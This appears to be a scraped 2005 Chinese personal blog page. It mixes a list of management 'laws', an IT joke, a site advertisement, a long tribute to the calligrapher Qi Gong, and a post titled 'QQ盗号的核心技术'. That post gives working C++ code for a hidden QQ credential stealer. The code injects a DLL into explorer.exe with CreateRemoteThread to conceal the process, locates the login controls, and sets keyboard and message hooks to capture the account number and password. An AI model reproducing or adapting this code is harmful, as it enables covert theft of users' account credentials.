关于作者

用户名:Tinker
笔名:Tinker
地区:
行业:其他

日历  

快速登录

+ 用户名:
+ 密 码:

在线留言



生活

gl_blog

信息安全

访问统计:
文章个数:209
评论个数:577
留言条数:8



Powered by BlogDriver 2.1

[★绝色佳人伴我行★]

 

www.fm234.com网络电台,免费注册,点播,收听! ★★★★★好站! Tinker.blogchina.com HACK教程,图片欣赏,网文…… MSN: zhangchao999@hotmail.com





文章

定律大全

 1.帕金森定律
一个不称职的官员,可能有三条出路:一是申请退职,把位子让给能干的人;二是让一位能干的人来协助自己工作;三是聘用两个水平比自己更低的人当助手。

 2.华盛顿合作定律
一个人敷衍了事,两个人互相推诿,三个人则永无成事之日。

 3.木桶定律
一只木桶盛水的多少,并不取决于桶壁上最高的那块木板,而恰恰取决于桶壁上最短的那块木板。

 4.彼得原理
在层级组织里,每个人都会由原本能胜任的职位,晋升到他无法胜任的职位,无论任何阶层中的任何人,或迟或早都将有同样的遭遇。

 5. 80/20法则
世界上充满了神秘的不平衡:20%的人口拥有80%的财富,20%的员工创造了80%的价值,80%的收入来自20%的商品,80%的利润来自20%的顾客……

 6.墨菲定律
如果坏事情有可能发生,不管这种可能性多么小,它总会发生,并引起最大可能的损失。

 7.破窗理论
如果有人打坏了一栋建筑上的一块玻璃,又没有及时修复,别人就可能受到某些暗示性的纵容,去打碎更多的玻璃。

 8.手表定律
只有一只手表,可以知道是几点,拥有两只或两只以上的手表,却无法确定是几点;两只手表并不能告诉一个人更准确的时间,反而会让看表的人失去对准确时间的信心:这就是著名的“手表定律”。

 9. 路径依赖
一旦人们做了某种选择,就好比走上了一条不归之路,惯性的力量会使这一选择不断自我强化,并让你轻易走不出去。

 10.蘑菇定律
蘑菇定律"是组织对待初出茅庐者的一种非常适用的管理方法,初学者被置于阴暗的角落(不受重视的部门,或打杂跑腿的工作),浇上一头大粪(无端的批评、指责、代人受过),任其自生自灭(得不到必要的指导和提携)。

 11.奥卡姆剃刀
“奥卡姆剃刀”是一种“反动的”哲学。人类文明的不断发展,就是不断为这个世界增添新的内容,而“奥卡姆剃刀”却不断向我们的文明成果发出挑战,指出许多东西实际上是有害无益的,而我们正在被这些自己制造的麻烦压垮。

 12. 马太效应
这是一个赢家通吃的时代,富人享有更多资源——金钱、荣誉以及地位,穷人却变得一无所有。

 13.鲇鱼效应
一种动物如果没有对手,就会变得死气沉沉。同样,一个人如果没有对手,那他就会甘于平庸,养成惰性,最终导致庸碌无为。

 14.光环效应
人们对人的某种品质或特点有清晰的知觉,印象比较深刻、突出,这种强烈的知觉,就像月晕形式的光环一样,向周围弥漫、扩散,掩盖了对这个人的其他品质或特点的认识。

 15.羊群效应
羊群是一种很散乱的组织。平时,大家在一起盲目地左冲右撞;后来,一只头羊发现了一片肥沃的绿草地,并在那里吃到了新鲜的青草,后来的羊群就一哄而上,你抢我夺,全然不顾旁边虎视眈眈的狼,或者看不到远处还有更好的青草。

 16.多米诺效应
不论是在政治、军事还是商业领域中,如果不注意防微杜渐、堵塞漏洞,就可能产生一倒百倒的多米诺效应。

 17.蝴蝶效应
一只亚马逊河流域热带雨林中的蝴蝶,偶尔扇动几下翅膀,两周后,可能在美国德克萨斯州引起一场龙卷风。

 18.皮格马利翁效应
每一个孩子都可能成为非凡的天才,一个孩子能不能成为天才,取决于家长和
老师能不能像对待天才一样爱他、期望他、教育他。 

- 作者: Tinker 2005年08月5日, 星期五 10:08  回复(1) |  引用(0) 加入博采

门铃效应

 

      昨天一个朋友给我讲了个笑话,他说:有个人买了一栋房子,刚住进去门铃就坏了。他给物业公司打电话叫人来修,可是等了一天又一天一直没有人来。
于是他把电话直接打到物业公司经理那里,责问他们提供的服务不及时。经理忙解释说:“尊敬的业主先生,我们已经派过人了,但是他们按了很长时间的门铃,都没有人来开门。”

 

      在我们的网络应用中,这样的笑话再常见不过了。比如一家公司的网管工程师发邮件给他们的员工,要他们按照邮件中说明的方式解决“收不到邮件”的问题;或者集成商告诉用户使用系统的自动升级功能升级他们已经彻底打不开的系统程序,并且告诉用户这是解决该问题的惟一途径。

- 作者: Tinker 2005年08月5日, 星期五 10:02  回复(1) |  引用(0) 加入博采

News:中国最大的收藏门户网站,新近开张!
摘要:中华收藏圈www.zhscq.com新近成立,以艺术品收藏为主的门户级网站! 查看全文

- 作者: Tinker 2005年07月22日, 星期五 11:10  回复(1) |  引用(0) 加入博采

著名书法家启功先生今日凌晨在北京逝世

启功先生

启功先生的作品

  启功先生于今日凌晨2:56分在京逝世。沉痛悼念著名学者、书画家、北京师范大学教授启功先生!

  生平简介

  启功先生字元白,1912年生于北京,满族。幼年失怙且家境中落,自北京汇文中学中途辍学后,发愤自学。稍长,从贾尔鲁先生(羲民)、吴熙曾先生(镜汀)习书法丹青,从戴绥之先生(姜福)修古典文学。刻苦钻研,终至学业有成1933年经傅沅叔(增湘)先生推介,受业于陈援庵先生(垣),获闻学术流别与考证之学。援庵先生慧眼识才,聘为辅仁中学国文教员;1935年任辅仁大学美术系助教;1938年后任辅仁大学国文系讲师,兼任故宫博物院专门委员,从事故宫文献馆审稿及文物鉴定工作;1949年任辅仁大学国文系副教授兼北京大学博物馆系副教授;1952年后任北京师范大学副教授、教授至今。现任中国人民政治协商会议全国委员会常务委员会委员、国家文物鉴定委员会主任委员、中央文史研究馆馆长、中国书法家协会名誉主席、北京师范大学教授、博士研究生导师。

  启功作品艺术特色

启功先生是当代著名学者、画家和书法家。他著作丰富,通晓语言文字学,甚至对已成为历史陈迹的八股文也很有研究;他做得一手好诗词,同时又是古书画鉴定家,尤精碑帖之学。

  欣赏他的书法作品,我总要联想到他对碑帖的精深研究,因为他对碑帖的研究和他的书法艺术的成就有着不可分割的联系,碑帖之学是明清两代兴起的一门学问,这门学问现在随着地下墨迹的不断出土,开辟了新的境界。他就是这片园地的开拓者之一。这门学问除夸扬珍异、竞炫收藏的古董藏家不能算外,其路子约分为二类:一是研究其中历史资料,以碑刻文辞证史补事,或校读文辞;二是赏鉴、研究其书法艺术。启功先生兼于两者,更精于后者,他在两者之间融合贯通,其方法突破前人藩篱。“买椟还珠事不同,拓碑多半为书工。滔滔骈散终何用,几见藏家诵一通”。他写这首诗是有感于过去多少鉴赏家重视碑帖的书法,而对其中文辞则往往视而不见。名家如孙承泽、翁方纲以及叶昌炽莫不有此疵病,而他且不放过文辞内容。正因为这样,他把历来定论的《曹娥碑》驳得体无完肤。因此,所谓王羲之小楷《曹娥碑》,也就不存在了。更何况蔡邕的书丹。

  启功先生的书法理论著作,我最喜欢他的发比喻,时出妙语,对书法艺术以及书法史上的许多问题,有其独特的《论书绝句百首》,这是他数十年书法实践、研究的体会。特别是诗中的自注,行文隽逸,阐见解。我自己有些长期的问题,读了之后感到迎刃而解,有豁然开朗之感。诸如考证出于开元翰林供奉之手;日本藤远后之临《乐毅论》以证明王羲之书体势之雄强;鉴定张旭书庚信《步虚词作》实为大中祥符以后宋之笔;以西陲晋人残纸证《阁帖》中索靖书法的本来面目。这些都是翻书法史上成说的案,论据充分坚实有力,不得不令人信服。此外如论蔡襄、祝允明书法之未成自己体段;柳公权、黄庭坚书法用笔尽笔心之力,结字聚字心之势。而其中对历代著名书法家之特色,各时代书法的体势、风格,以至辨别书体源流,变迁原因,都是非常精辟的。

  ·教师启功·

  启先生的教学总是同他的学术研究紧密结合在一起的。像在《历代韵文选》课上,先生给我们讲过敦煌变文,从敦煌石室的发现,伯希和、斯坦因劫走大批藏品,到《张义潮变文》、《王昭君变文》和《燕子赋》等众多内容,使我们这些刚上大学的学生们了解到许多从未听说过的知识。到后来王重民等六位先生整理的《敦煌变文集》出版了,我们才知道给我们讲课时可能先生正在关注、研究变文。1934年和1948年王重文、王庆菽两位先生先后从伦敦、巴黎带回来一些敦煌变文的照片和钞件,这期间学术界出现了敦煌文学的研究热,而启先生正是把当时最“前卫”最新的信息传达给我们了。

  启先生讲课,写文章极注意做到深入浅出,化繁富为简明,化深奥为平易,从不板起面孔故弄玄虚地吓唬学生,所以总让人感到读书求学乃是一项愉快的活动,而不是那么枯燥乏味,艰深困难。如诗歌格律问题讲不好就很使人厌烦,但启先生却绘成图表教我们掌握其变化规律,使学生很容易就了解到它不但有规律可循,还有其灵活性。至今我们还保存着几张他亲手绘制的律诗平仄表,工整的墨笔字和朱笔符号,那是先生三十几岁时的墨迹。而这也正是他后来所著《诗文声律论稿》的雏形。

  可能是出于教师的职业习惯,启先生的文章总是有首有尾,脉络分明。开宗明义交代写作目的,然后逻辑严密地铺展开去,而且旁征博引、纵横驰骋却总不偏离文章的核心。如《〈兰亭帖〉考》首先说明什么是《兰亭序》和《兰亭帖》,再梳理世传的五类《兰亭帖》摹本刻本的情况及真伪问题,最后论断说:倘有荆溪吴氏所藏唐摹本存世,得与神龙本“汇合而比较,则《兰亭帖》的问题或者可以没有余蕴了”。文章既极专门,又很通俗,所以我们外行人也能看得明白。——聂石樵、邓魁英《启先生教学和治学的风格》

  ·学生启功·

  陈垣先生对他几十年的精心教育,使启功先生异常感动,时刻铭记于心。此事先是我就不知听过多少遍。一个学生能对培育自己的老师如此念念不忘,我还很少见到。我们在《启功韵语》上可以读到题为《扇上写青松红日为励耘师寿》:“万点松煤写万松,一枝一叶报春风。轮自富千春寿,更喜阳和日正东。”这是为老师祝寿的诗,那“一枝一叶报春风”的情感实在令人感动。这“励耘”就是陈垣老师书房的名字。想必启功先生经常出入这“励耘房,留下美好的记忆,唤起对老师教育之恩的感念,所以在自己名满海内外之际,执意要“励耘”作为奖学金的名称了。(编者按:启功先生将拍卖自己书画作品的200万元建立“励耘奖学金”,用以奖励优秀青年教师和学生。)——童庆炳《启功先生,治学为师的楷模》

  在治学之道上,启功先生体味诸老前辈的言行,有两条铭心不忘的收获:一是懂得对古人的成说,不可盲从,不可轻信;二是明白了学问不是死的。后来启功先生每逢和人谈到他对许多问题的理解时,常用个比喻说:“盘子不是永远向上盛东西的,立起来也可以当小车轮子用。”——郭英德《无法之法:启功先生的治学之道》

  ·朋友启功·

  《〈叶遐庵先生书画集〉跋》更是一篇记述师友之伦的字字珠玑而又“字字都是血和泪”的挚情文章,试读如下一段:

  昔当先母病剧时,功出市附身之具,途遇高轩,先生执功之手曰:“我亦孤儿也。”言次泪下沾襟。其后黑云幻于穹苍,青虫扫于草木,绵亘岁月,而先生亦长往矣。

  今裂生纸,草短跋,涕渍行间,屡属屡辍。虽然,纵果倾河注海,又讵能仰报先生当年沾襟之一掬耶!

  有谁能读到这样的文字而不肃然动容!这种自然表露、细致抒发悲怆与思念的文章,我认为是足可以比肩于韩愈的《祭十二郎文》、归有光的《项脊轩志》的。如果了解叶、启两先生都在1957年遭受“派曾右”“(《丛稿·诗词卷·自撰墓志铭》)的不公正待遇,从此步入坎坷,就更能感受到“黑云幻于穹苍,青虫扫于草木”的深刻内涵了。——董琨《元白先生之风谊》

  ·学者启功·

  1995年11月的一天,数十位学者会聚在北京师范大学英东楼,讨论启功先生的新著《汉语现象论丛》,对这部别开生面的著作给予高度肯定。讨论结束前,一直正襟危坐、凝神倾听的启先生站起来讲话。他微躬身子,表情认真地说:

  我内侄的孩子小时候,他的一个同学常跟他一块上家来玩。有时我嫌他们闹,就跟他们说,你们出去玩吧,乖,啊?如此几次,终于有一天,我听见他俩出去,那个孩子边下楼边很有些不解地问:那个老头老说我们乖,我们哪儿乖啊?

  今天上午听了各位的发言,给我的感觉就像那小孩,我不禁要自问一声:我哪儿乖啊?

  听完这最后一句,静静的会场里伴随着欢笑,响起热烈的掌声。

  真令人拍案叫绝!一则故事,一段比兴,传达了谦虚,暗和了感谢,表现出风趣与幽默。这,就是我们熟悉和爱戴的启功先生。——刘石《我所理解的启功先生》

  《汉语现象论丛》是一部智慧的书。对此有所觉知,有所挹取,可以苏活学人的心智,助长学术的正见。这也是《论丛》在今天特别具有的学术意义。

  今人治学,喜操方法。这当然是好事,但看看详情,却颇不令人乐观。常见方法的使用,实则只是使工具,道器一如的方法论,已被降为工具一层论。工具当然不是自家打造。学术开放,国外理论大量地传来,使工具的拆兑有了方便。这主义、那理论,套套地来,件件地使,见李逵说板斧,见鲁达说禅杖。学术的进展很大程度上不是表现为客体认识的深化,而是角度的翻新。可以不为理论的外来忧,却须为方法的套用惧。因为与此相伴的实际是我们的学术从业者主体能力的日益暗弱。以致知为目的的学术,会因此丧失自己的本质。这种学术的“方法病”,不自今日起,它由来甚久,是一个近代现象。如启功先生这本书里所论对的“葛郎玛”,就是“办洋务”形势下的一个学术舶来品。这也不限于语言一科,甚至不限于学术界。试问自从国人觉得自己不如西洋之后,有哪样“维新”不是从仿造开始?干实业,照抄照搬可以立见其不通,但在学术,却可以因其表面的不关国计民生而维系其长期的っ痢F艄ο壬的《汉语现象论丛》以其对汉语特征的那种独到见解博得喝彩,尤当为之喝彩的是流动于其中的那种睿智,和作者的那种用自家头脑面对问题的治学气度。对于明确什么是真正的学术方法,这些流动的智慧实在有发壅起蔽的开示意义。——李山《〈汉语现象论丛〉中的学术智慧》

  启功先生曾多次对人说:“我没有大学文凭,只是一个中学生。”

  这是事实。没有经过大学学院教育的正规训练,这是他的不幸,更是他的幸运。因为这样一来,他就没有任何学院教育的框框束缚,学杂诸家,不主一说,随心所欲,始终保持着自由自在的思维本色。——郭英德《无法之法:启功先生的治学之道》 ·诗人启功·

  启功先生是当代古典诗坛上的泰斗之一,近十几年来出版了《启功韵语》、《启功絮语》、《启功赘语》等三部诗集。最近由中华书局又将这三部诗集汇集成《启功丛稿·诗词卷》,共收入近600首作品。这些作品工力深厚,风格鲜明,完美地利用了古典诗词的固有形式,又充分体现了新时代的创造特点,为古典诗词如何继承与创新树立了很好的典范。同时,启功先生还对古典诗词的创作发表了很多精辟的见解,从理论上对当代古典诗词的创作进行了深入的探讨,这些都对当代古典诗词的创作有很大的启发,值得我们很好地加以借鉴。——赵仁王圭《旧体诗的新作法:读启功诗词所得的启示》

  启功先生在《诗文声律论稿》中精辟地归纳了旧体诗的格律。按我的理解,他深入研究诗律,是为了总结前人写诗的经验,借以诠释古典诗歌的语言艺术,并不是要求今人都按照旧体诗的格律来写诗。启先生自己的诗集《启功韵语》和《启功絮语》、《启功赘语》,各体兼备,风格多样,足见他的创作正在探索诗体的革新,为中国诗的发展寻求出路。——程毅中《读启功先生“三语”有感》

  我是古代文学方向的研究生,我的研究对象主要是诗歌,为了对这一体裁有更深刻的了解,我一直在尝试写一些旧体诗。启功先生的《诗文声律论稿》是我学诗的一本重要的工具书。正如启功先生在书的绪论中讲到的,“本文所要探索的是古典诗、词、曲、骈文、韵文、散文等文体中的声调特别是律调的法则,……分析前代人的成说,从具体的现象中归纳出目前所能得出的一些规律。”启功先生对于这些规律的论述和分析深入浅出、简洁明了,很利于初学者去把握。

  这本书也是一本很见功力的诗文声律研究专著。作者在这样一本薄薄的小册子里完整的论述了律诗的发展历史,深入的分析了律诗的几种重要的形式,同时还对词、曲、骈文、韵文中的律调句以及散文中的声调问题进行了研究,既有对前人研究成果的总结,又有许多创见,是做诗歌研究的学者不可忽略的成果。

  书中作为例证的作品如杜甫的《客至》、李白的《登金陵凤凰台》、李商隐的《七月二十八日与王郑二秀才听雨后梦作》等都是技巧与意境俱佳的上乘之作,可以当作一本优秀的诗歌选本来读。——胡秋蕾

  启功先生的《诗文声律论稿》对于初学诗词格律的人来说是很相宜的,以大学者之巨眼高瞻远瞩,在纷繁的音韵声律现象中总结出了几条比较清晰的规律,特别是其中的“平仄长竿”说,犹如拨云见日,一下子让初学者理出了头绪。薄薄一本小册子,兼及诗、词、曲、文,亦论及永明体等与诗体流变相关之问题,可谓由博返约,非大学者莫办。这本书的重点虽然在讲诗词格律,亦旁及骈文、韵文与散文等其他学者较少提及的文体的声调押韵问题,为初学者一解疑惑。启功先生在提到前人成说时均详述其作者书名,读者若欲进一步深入研究,便可依照书目查阅,甚为方便。此书为启功先生的手写本影印,先生的书法,笔秀神清,向为海内所重,读者执此一卷,既可学习诗文声律,兼得欣赏、临摹书法,岂非一举而两得乎?——谢丹云

  ·书画家启功·

  1980年夏天,我去美国参加《红楼梦》的国际学术研讨会,需要给大会送一些礼品,我们就请启先生写一小幅字带去。我怀着忐忑的心情去拜访启先生,提出了这个奢求,不料启先生竟说我们合作一幅画吧。我的画根本是学习,怎可与启先生合作,但启先生却毫不犹豫,铺好纸就让我动笔,我只好勉强画了几笔,然后由启先生完成并题句。为什么由我先画,因为最后要由启先生来“收拾”,这样我画得不当之处,他就可以帮我弥补过去。这使我深深感到启先生的宽宏仁厚。——冯其庸《博学宏通,显幽烛微:拜读启功先生〈论诗绝句百首〉》

  ·名人启功·

  在我的印象里,启功先生是少数不太像名人的名人。

  自古及今,名人似乎都或多或少有点名人的傲气和架子。比如魏晋时的嵇康吧,有一次,好朋友山涛写信劝他到中央谋个一官半职,你不领情也就罢了,还写了一封公开信,把人家臭骂一顿,最后说要断交。至于时下的名人似乎也没有因为时代的进步而把脾气改得温和一些,“假唱”、“摔话筒”、“拒演”一类的事时有发生。

  这种傲气和做派在启先生身上很难找到。以做人论,他的谦和与幽默是有口皆碑的;以作文论,总感觉到他不避俚俗,甚至有点故意与“高雅”为敌。“乘客纷纷一字排,巴头探脑费疑猜。东西南北车多少,不靠咱们这站台。坐不上,我活该。愿知究竟几时来。有人说得真精确,零点之前总会来。”(《鹧鸪天八首·乘公共汽车》之一)这多少有点打油诗的味道。在已出版的三本诗集中,这样的诗不少。虽然得到的意见“一般都是在照例夸奖之中,微露有油腔滑调之憾。”(《启功絮语·自序》)但这种作风好像并没有收敛。“但这册中的风格较前册每下愈况,像《赌赢歌》等,实与《数来宝》同调,比起从前用俚语入诗词,其俗更加数倍。”(《启功絮语·自序》)他向读者“招认”,“这些语言,可以美其名曰‘诗’。比较恰当,实应算是‘胡说’。”并且解嘲曰:“我们这族人在古代曾被广义地称为‘胡人’,那么胡人后裔所说,当然不愧为胡说。即使特别优待称之为诗,也只是胡说的诗。”——这是谦虚,还是坦白,我不知道。但启先生不愿让别人把自己摆上“神坛”远远地朝拜,而宁愿走下来和“追星族”们称兄道弟的心意还是显而易见的。

  启先生写起学术著作来也与他的人、他的诗一样没有架子一样“老实交代”。

  拿《诗文声律论稿》(中华书局版)为例,这本著作连同附录不足7万字,书后也没有数量之多足以令人咋舌的“引用书目”,既看不出作者的“饱学”,也看不出操作上的“专业”。在当今很看重“数量”的学术氛围中,不知这样“部头”不够大的著作可不可以拿到评审委员会那里评职称?

  但薄薄一本小册子,讨论的范围却涉及了诗、词、曲、骈文、韵文、散文等诸多文体的声律问题,精彩的论点随处可见。单是书中提出的“平仄长竿”规律,就我所知,应该是至今为止对于诗文声律形成的最具根本性的解释之一。其含金量也未必就不如那些恢弘巨著吧。

  书中所用的语言,纯系白得不能再白的大白话,没有利用“之乎者也”来烘托自己国学功底的高深。读他的书就如同与一个忘年交在面对面讨论问题,不必正襟危坐,不必洗耳恭听,你尽可以毫不客气地责难,也可以用最放松的姿势会心一笑——因为作者本来就不是以学术权威的架势来教导人的。

  我敢断言,如果没有与读者平等交流的心态,这样的书是绝对写不出来的。

  听朋友说,中华书局新近影印出版了启功先生手书的《诗文声律论稿》,我觉得非买不可,以后置于案头,学他的字,学他的文,也学他的人。——士心《中华读书报》

- 作者: Tinker 2005年06月30日, 星期四 14:39  回复(5) |  引用(0) 加入博采

QQ盗号的核心技术!

平台:windows xp sp2;
软件:QQ2005版。
申明:本文旨在技术交流。

一。先讲几句废话:

经常有听到有朋友QQ被盗的消息,总感觉做出这种行为的人是可鄙的,不就是对QQ窗口进行监视,然后再是记录用户输入的号码和密码,认为没什么了不起。

对于Windows核心编程,本人还是一只菜鸟,前一段时间把《Windows系统编程》粗略的看一边(当然重点地方仔细的看),由于对于C++有点基础,感觉学起来比较容易上手。但到了这两天真正实践的时候,遇到了各种各样的问题。即使一个小小的问题都足以让我这只菜鸟郁闷老半天。直到此时,在完成这个软件的时候,整理一下思路,不但算是给自己个总结,也跟像我一样的菜鸟们分享一下自己的经验。

二。进入主题:

想必大家都已经知道,这类软件的特点就是在用户不知不觉的时候工作。在任务管理器中是看不到它们的,这就是隐藏了进程。采用插入内核的嵌入方式、利用远程插入线程技术、嵌入DLL线程、或挂接PSAPI等都可以达到效果,哎,既然是个菜鸟就选择一个最简单的来做个实验。

先讲一下思路:需要三个进程A,B,C;两个DLL。

初始进程A,用于在进程B中创建远程线程,创建成功立即退出,不会留给任务管理器任何捕捉它的机会(你根本来不及观察)。

进程B作为远程线程的寄主,选择的时候应该是那些系统中必须执行的进程,比如EXPLORER.EXE。其中的远程线程用于监视目标进程。

进程C为目标进程在这里也就是QQ.EXE。

第一个DLL(InspectQQLandDlg.dll),远程线程的载体。

第二个DLL(MyHook.dll),全局钩子函数的载体。

现在要做是利用进程A把InspectQQLandDlg.dll映射到进程B,同时启动该DLL中的远程线程,再利用该线程监视目标进程(QQ.EXE)QQ登陆窗口,一旦找到,立即把MyHook.dll映射到目标进程来监视用户的输入。

这样也清楚了这个软件设计的总体构架,下面用代码来具体实现。

1。远程线程的创建。先利用进程快照取得目标进程,相对比较简单

HANDLE hSnapshot ;
hSnapshot = CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 ) ;
if ( hSnapshot == INVALID_HANDLE_VALUE)
{
  return 0;
}

string lpName = "EXPLORER.EXE" ;  //设定需要监视的进程名
PROCESSENTRY32 pe;
pe.dwSize = sizeof ( PROCESSENTRY32 );

for( BOOL fOk = Process32First ( hSnapshot, &pe ) ; fOk;  fOk =
Process32Next( hSnapshot, &pe ) )
{
if ( pe.szExeFile == lpName )
{  

  //取得宿主进程(EXPLORER.EXE)的句柄
  HANDLE hRemoteProcess = OpenProcess ( PROCESS_ALL_ACCESS,
  false, pe.th32ProcessID ) ;

  //取得目标DLL的当前路径(路径可自由设置)
  char szInspectDllPath[128] ;
  GetCurrentDirectory ( 128, szInspectDllPath ) ;
  strcat ( szInspectDllPath, "\\debug\\InspectQQLandDlg.dll" ) ;
  
  //申请存放文件名的空间
  LPVOID pszInspectDllRemote ;
  int InspectDllNameLength = sizeof ( szInspectDllPath ) + 1 ;
  pszInspectDllRemote = VirtualAllocEx ( hRemoteProcess,
  NULL, InspectDllNameLength, MEM_COMMIT, PAGE_READWRITE ) ;

  //把dll文件名写入申请的空间
  WriteProcessMemory ( hRemoteProcess, pszInspectDllRemote,
  (LPVOID)szInspectDllPath, InspectDllNameLength, NULL);

  //获取动态链接库函数地址
  HMODULE hModule ;
  hModule = GetModuleHandle ( "kernel32.DLL" ) ;
  LPTHREAD_START_ROUTINE fnStartAddr ;
  fnStartAddr = ( LPTHREAD_START_ROUTINE ) GetProcAddress ( hModule,
  "LoadLibraryA" ) ;
  
  //创建远程线程
  HANDLE hInspectRemoteThread = NULL ;//存放远程线程句柄
  hInspectRemoteThread = CreateRemoteThread ( hRemoteProcess, NULL, 0,
  fnStartAddr, pszInspectDllRemote, 0, NULL ) ;

  if( hSnapshot != NULL )
  CloseHandle ( hSnapshot ) ;//关闭进程快照

  CloseHandle ( hRemoteProcess ) ;
  break ;
}
}

2。此时InspectQQLandDlg.DLL已经被映射到EXPLORER.EXE。此时在InspectQQLandDlg.DLL的DllMain(千万不要写成DLLMain)接受到DLL_PROCESS_ATTACH消息,但一般来说不因在DllMain中执行过多的功能(借鉴前人的经验,嘿嘿),于是很容易想到开辟一个新线程。

switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
{

  //下面这句会给你创建远程线程成功的提示。
  MessageBox ( 0, "Code Injection success!", "NOTE", MB_OK ) ;

  HANDLE hNewThread = CreateThread ( NULL, 0,ThreadForInspect, NULL, 0, 0 ) ;
  
  break;
}
}

在新线程中要达到的目标只是一个循环,利用while()和循环标志(BOOL)isContinue即可以实现。

在这个远程线程中要完成的第二个任务是找到QQ登陆对话框中关键控件。

关于这点网上有很多资料,利用的是FindWindow和FindWindowEx,这是针对以前的版本。在这里已经无效了,现在QQ在这里下了点工夫,采用的是窗口标题采用随机字符。

就以登陆对话框为例,对话框的类为"#32770",或许许多菜鸟朋友会像我在最初的时候一样,傻傻用FindWindow ("QQ用户登陆","#32770") ;结果什么都没有,哎~~

其实可以通过窗口枚举搞清楚QQ在这里到底做了什么手脚。

BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam )
{
if ( !hwnd )
{
return false ;
}
char szWindowName[128] ;
ZeroMemory ( szWindowName, 128 ) ;
GetClassName ( hwnd, szWindowClassName, 128 ) ;//取得类名

if ( !strcmp ( szWindowClassName, "#32770" ) )
{

  __asm int 3

}

return true ;
}

利用上面的程序段,在VC调试器中不断按F5且同时在WATCH中观察szWindoName,很容易发现这个窗口名字符串是由不超过二十个字符组成(多次观察),但其中的元素只有0X13,0X10,0X32,字符串中的每个位置都是三个元素之一。但在SPY++中窗口名中看起来只不过是“ ”,怎么看都只是几个空格(再提醒一下,不要试图通过复制其中的内容,效果可是无法忍受的,呵呵)

事实上登陆窗口可以通过窗口的许多确定因素来确定,比如窗口风格,窗口ID之类的,这些都可以通过SPY++轻易得到(SPY++,好东西啊),下面也就不多发话了,直接给出各个关键控件的代码。

#define UserNameComboBoxId 0x0000008A  //用户名控件ID
#define PasswordEditId   0x000000B4  //密码控件ID
#define ButtonId     0x00003EA0  //登陆按扭控件ID
#define QQLandDlgMiniStyle 0x94CA00C4  //登陆对话框最小化时的风格
#define QQLandDlgShowStyle 0XB4CA00C4  //登陆对话框在桌面显示时的风格

BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam )
{
if ( !hwnd )
return false ;

long style = GetWindowLong ( hwnd, GWL_STYLE ) ;
if ( style == QQLandDlgMiniStyle || style == QQLandDlgShowStyle )
{
hQQLand = hwnd ;
EnumChildWindows ( hQQLand, EnumChildWndProc, NULL ) ;

return false ;
}

return true ;
}

BOOL CALLBACK EnumChildWndProc ( HWND hwnd, LPARAM lParam )
{
if ( !hwnd )
return false ;

//取得指定句柄的控件ID
long id= GetWindowLong ( hwnd, GWL_ID ) ;

if (id == UserNameComboBoxId )
{
hUserName = hwnd ;
}

else if ( id == PasswordEditId )
{
hPassword = hwnd ;
}

else if ( id == ButtonId )
{
hLandButton = hwnd ;
}

return true ;
}

到这里终于取得盼望多时的hUserName,hPassword,hButton这三个控件的句柄。~v~

在这里其实可以用

SendMessage ( hUserName, WM_GETTEXT, 128, (LPARAM)szUserName );

取得UserName(QQ号码),但不能取得密码。

可以随便下载个*号密码,再在密码框中输入几个字符,结果可能是失败,不知道QQ做了什么手脚,有机会再好好研究。既然此路不通,菜鸟也自己的办法去达到目标。

现在远程线程的第二个功能(取得关键控件的句柄)已经完成,接下来要做的事是把MyHook.dll映射到QQ.EXE,这样即可实现对用户键盘输入的监视。

只需调用MyHook.dll的接口函数即可

SetHook ( hQQLand, hUserName, hPassword, hLandButton, true ) ;

3。MyHook.dll模块。

EXPORT BOOL WINAPI SetHook ( HWND hQQLand,
  HWND hUserName, HWND hPassword, HWND hLandButton, BOOL isInstall )
{
if ( isInstall )
{
hQQLandDlg = hQQLand ;
hUserNameEdit = hUserName ;
hPasswordComboBox = hPassword ;
hButton = hLandButton ;

DWORD dwQQLandDlgThreadId = GetWindowThreadProcessId ( hQQLand, NULL ) ;
hHookDll = GetModuleHandle ( "MyHook" ) ;

hKeyboard = SetWindowsHookEx ( WH_KEYBOARD,
  (HOOKPROC)KeyboardProc, hHookDll, dwQQLandDlgThreadId ) ;

hWndProc = SetWindowsHookEx ( WH_CALLWNDPROC,
  (HOOKPROC)CallWndProc, hHookDll, dwQQLandDlgThreadId ) ;

  if ( hKeyboard != NULL && hWndProc != NULL )
  return true ;
}

else
{
UnhookWindowsHookEx ( hKeyboard ) ;
UnhookWindowsHookEx ( hWndProc ) ;

hHookDll = NULL ;
hKeyboard = NULL ;
hWndProc = NULL ;
ZeroMemory ( szPassword, 128 ) ;
pszPasswordLen = 0 ;
}

return false ;
}

这个程序段很简单只是通过检测远程线程的输入安装、卸载钩子函数。

如果对钩子函数不清楚的朋友,看一下MSDN或者WIN32函数集就可以了。

这里对QQ登陆对话框线程设置两个钩子,一个键盘钩子函数记录键盘输入;另一个全局消息钩子。

LRESULT CALLBACK KeyboardProc ( int nCode, WPARAM wParam, LPARAM lParam )
{

//检测回车键是否被按下
if ( wParam == VK_RETURN && lParam > 0 )
{

//由于钩子函数只是记录对密码框的记录,因而在最后时刻取得号码会是准确的
SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );

//此处可以自由处理拦截到的号码和密码(szUserName,szPassword)

//不要忘了变量还原(szUserName,szPassword)
}

if ( lParam > 0 && wParam != VK_RETURN )
{
char KeyName[10] ;
  ZeroMemory ( KeyName, 10 ) ;
GetKeyNameText ( lParam, KeyName, 10 ) ;

if ( strlen ( KeyName ) == 1 )
{
  strcat ( szPassword, KeyName ) ;
  }
}

return CallNextHookEx ( hKeyboard, nCode, wParam, lParam ) ;
}

也由一部分用户是用鼠标点击登陆按扭的,可由下面代码实现

LRESULT CALLBACK CallWndProc ( int nCode, WPARAM wParam, LPARAM lParam )
{
CWPSTRUCT *p = (CWPSTRUCT*)lParam ;
if ( p->message == WM_COMMAND && p->hwnd == hButton )
{//同理

SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );

//这里可添加如何处理密码的语句
}
return CallNextHookEx ( hWndProc, nCode, wParam, lParam ) ;
}


上面给出的几段代码可以实现基本的号码和密码记录功能,但对于具体细节的处理(比如用户按退格键或是其他),这些只要考虑仔细就可以了没有什么难度,这里就不说了。

www.sinosec.com

- 作者: Tinker 2005年06月21日, 星期二 11:40  回复(13) |  引用(0) 加入博采

QQ安全问题完全解决方案
QQ安全问题完全解决方案
 

